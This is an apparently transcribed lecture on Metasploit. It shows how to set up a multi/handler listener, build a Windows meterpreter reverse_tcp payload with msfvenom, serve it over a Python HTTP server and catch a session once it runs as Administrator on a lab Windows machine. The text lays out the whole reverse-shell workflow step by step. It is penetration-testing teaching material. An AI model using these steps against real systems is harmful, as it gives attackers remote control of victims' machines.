All right, just in case you want to follow future lectures in Metasploit, I'll show you how to set up 1
a payload and get it running on a target. 2
First, before I run Metasploit, I'm going to make sure the database PostgreSQL is running. 3
All right, then I'll run MSFconsole to start Metasploit. 4
Great, now I'll use multi/handler to set up a listener. 5
And for this, I'll set a the payload windows/x64/meterpreter/reverse_tcp. 6
We'll look at the options, and you can see there's a couple of options to set. 7
The only option I'll set is LHOST. Now I'll keep it as 4444 for the port 8
So I'll run ip a to get my Kali Linux IP address. 9
Set LHOST 10
to this IP address. 11
And then, check options again, to make sure my LHOST is now set to my Kali Linux IP address. 12
I'll set exitonsession to false, so that way it doesn't stop my job after I catch a session. 13
And they all do run -j, so that it runs in the background. 14
You could check your jobs by using jobs and you could see. 15
It's currently running. If I type netstat, 16
I can see port 4444 is listening for metasploit. 17
Next, I'll create the payload, with that I'll use MSFvenom, 18
I'll use the same payload that I use for the multi handler 19
reverse_tcp. I'll set the lhost here to my kali linux box. 20
Set the LPORT to the same as the handler. 21
I'll set the filetype to an exe so it could run on the Windows machine, and I'll call it test.exe. 22
Now that it's created, I can host it with python -m SimpleHTTPServer, and it is case sensitive. 23
And I'll listen on port 80. 24
Taking a look again, as you can see, 25
Port 80 is listening for my Python listener. 26
To all addresses. 27
Next, I'll go to my Windows machine. 28
And I'll download the file. 29
test.exe 30
Let's run it as Administrator. 31
And then going back to our Kali Linux, we could see a session has opened. 32
Let's go into it. 33
Do getuid, to see we are user Peter Pan.